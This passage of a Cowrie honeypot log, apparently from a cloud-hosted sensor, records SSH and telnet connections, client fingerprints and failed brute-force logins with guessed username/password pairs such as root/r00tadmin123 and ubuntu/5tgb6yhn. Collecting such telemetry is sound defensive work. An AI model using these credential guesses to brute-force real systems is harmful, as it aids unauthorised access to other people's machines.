{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:05:17.938449Z","src_ip":"14.225.217.138","session":"66a414984c89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:05:18.206708Z","src_ip":"14.225.217.138","session":"66a414984c89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11111111","message":"login attempt [user/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:05:19.309929Z","src_ip":"14.225.217.138","session":"66a414984c89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:05:20.580923Z","src_ip":"14.225.217.138","session":"66a414984c89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":53418,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3c293f7a6c8","protocol":"ssh","message":"New connection: 186.113.245.157:53418 (159.203.135.109:22) [session: c3c293f7a6c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:05:36.122722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:05:36.127261Z","src_ip":"186.113.245.157","session":"c3c293f7a6c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:05:36.221525Z","src_ip":"186.113.245.157","session":"c3c293f7a6c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r00tadmin123","message":"login attempt [root/r00tadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:05:36.644959Z","src_ip":"186.113.245.157","session":"c3c293f7a6c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:05:37.746063Z","src_ip":"186.113.245.157","session":"c3c293f7a6c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":37372,"dst_ip":"10.17.0.5","dst_port":23,"session":"af24ee5d7361","protocol":"telnet","message":"New connection: 104.245.105.2:37372 (10.17.0.5:23) [session: af24ee5d7361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:05:38.436412Z"}
{"eventid":"cowrie.session.closed","duration":38.46692490577698,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:05:50.487546Z","src_ip":"104.245.105.2","session":"2229c3f5b867","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.48.68.82","src_port":46688,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c64f60223c3","protocol":"ssh","message":"New connection: 182.48.68.82:46688 (159.203.135.109:22) [session: 4c64f60223c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:06:09.775237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:06:09.780609Z","src_ip":"182.48.68.82","session":"4c64f60223c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:06:10.021535Z","src_ip":"182.48.68.82","session":"4c64f60223c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp-user","password":"123456","message":"login attempt [ftp-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:06:11.015769Z","src_ip":"182.48.68.82","session":"4c64f60223c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":52380,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf1d3a04cffe","protocol":"telnet","message":"New connection: 104.245.105.2:52380 (10.17.0.5:23) [session: bf1d3a04cffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:06:11.459296Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:06:12.259142Z","src_ip":"182.48.68.82","session":"4c64f60223c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.23849534988403,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:06:18.674765Z","src_ip":"104.245.105.2","session":"af24ee5d7361","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":42414,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e8ac2d168ee","protocol":"ssh","message":"New connection: 186.113.245.157:42414 (159.203.135.109:22) [session: 3e8ac2d168ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:06:34.925794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:06:34.930852Z","src_ip":"186.113.245.157","session":"3e8ac2d168ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:06:35.029585Z","src_ip":"186.113.245.157","session":"3e8ac2d168ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminonline","message":"login attempt [root/adminonline] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:06:35.450208Z","src_ip":"186.113.245.157","session":"3e8ac2d168ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:06:36.548554Z","src_ip":"186.113.245.157","session":"3e8ac2d168ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.53041648864746,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:06:42.989582Z","src_ip":"104.245.105.2","session":"bf1d3a04cffe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":55628,"dst_ip":"10.17.0.5","dst_port":23,"session":"72d167e73d6c","protocol":"telnet","message":"New connection: 104.245.105.2:55628 (10.17.0.5:23) [session: 72d167e73d6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:06:53.520045Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":55642,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf7eb2fd5adc","protocol":"telnet","message":"New connection: 104.245.105.2:55642 (10.17.0.5:23) [session: bf7eb2fd5adc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:06:56.245341Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.217.138","src_port":52842,"dst_ip":"159.203.135.109","dst_port":22,"session":"497bf8ea9da5","protocol":"ssh","message":"New connection: 14.225.217.138:52842 (159.203.135.109:22) [session: 497bf8ea9da5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:07:15.947176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:07:15.952419Z","src_ip":"14.225.217.138","session":"497bf8ea9da5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.48.68.82","src_port":38476,"dst_ip":"159.203.135.109","dst_port":22,"session":"976887410172","protocol":"ssh","message":"New connection: 182.48.68.82:38476 (159.203.135.109:22) [session: 976887410172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:07:16.039443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:07:16.048342Z","src_ip":"182.48.68.82","session":"976887410172","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:07:16.287458Z","src_ip":"14.225.217.138","session":"497bf8ea9da5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:07:16.303033Z","src_ip":"182.48.68.82","session":"976887410172","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"happy","message":"login attempt [root/happy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:07:17.313722Z","src_ip":"182.48.68.82","session":"976887410172","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:07:18.558055Z","src_ip":"182.48.68.82","session":"976887410172","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"5tgb6yhn","message":"login attempt [ubuntu/5tgb6yhn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:07:19.437266Z","src_ip":"14.225.217.138","session":"497bf8ea9da5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:07:20.776512Z","src_ip":"14.225.217.138","session":"497bf8ea9da5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.36735987663269,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:07:26.887277Z","src_ip":"104.245.105.2","session":"72d167e73d6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.52194094657898,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:07:33.767179Z","src_ip":"104.245.105.2","session":"bf7eb2fd5adc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.48.68.82","src_port":43568,"dst_ip":"159.203.135.109","dst_port":22,"session":"77df24319d09","protocol":"ssh","message":"New connection: 182.48.68.82:43568 (159.203.135.109:22) [session: 77df24319d09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:08:21.749328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:08:21.753393Z","src_ip":"182.48.68.82","session":"77df24319d09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:08:21.993337Z","src_ip":"182.48.68.82","session":"77df24319d09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iloveyou","message":"login attempt [root/iloveyou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:08:22.987600Z","src_ip":"182.48.68.82","session":"77df24319d09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.194","src_port":57906,"dst_ip":"159.203.135.109","dst_port":22,"session":"02a42fa5a29e","protocol":"ssh","message":"New connection: 205.210.31.194:57906 (159.203.135.109:22) [session: 02a42fa5a29e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:08:23.015626Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.217.138","src_port":55238,"dst_ip":"159.203.135.109","dst_port":22,"session":"a739844d5838","protocol":"ssh","message":"New connection: 14.225.217.138:55238 (159.203.135.109:22) [session: a739844d5838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:08:23.041161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:08:23.045788Z","src_ip":"14.225.217.138","session":"a739844d5838","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha